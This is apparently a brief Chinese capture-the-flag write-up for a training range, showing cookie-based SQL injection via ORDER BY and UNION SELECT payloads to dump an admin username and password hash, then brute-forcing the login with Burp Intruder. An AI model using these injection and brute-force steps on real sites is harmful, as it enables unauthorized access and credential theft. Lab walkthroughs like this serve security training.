封神台-第二章 尤里的复仇
1.任意选择一条新闻动态
2.
发现出现交互界面 url中id=170 存在注入点
3.判断字段数
?id=170+order+by+10
?id=170+order+by+11
4.使用modheader
直接在url中输入 报错
第一个字段写cookie 第二个字段 id=170+UNION+SELECT+1,2,3,4,5,6,7,8,9,10+from+admin
5.在url中输入http://59.63.200.79:8004/shownews.asp
没有报错，并且看到存在admin表，2.3.7.8.9处可以添加查询字段，可以输入username和password
6.重新构造modheader
2处显示 username admin
3处显示password b9a2a2b5dffb918c
7.password经过md5解密后
8.登录59.63.200.79:8004/admin
Username: admin
Password:welcome
突发奇想，虽然不正规 哈哈哈哈
假设已知后台登录登录网址为59.63.200.79:8004/admin
且用户名已知为admin
直接使用bp**密码
1.任意输入密码，抓包
2.发送至intruder
标记密码处
Payload处添加自己的密码本
这里调整线程数为10
可以显示结果为welcome
3.登录拿key
网络信息安全-ploto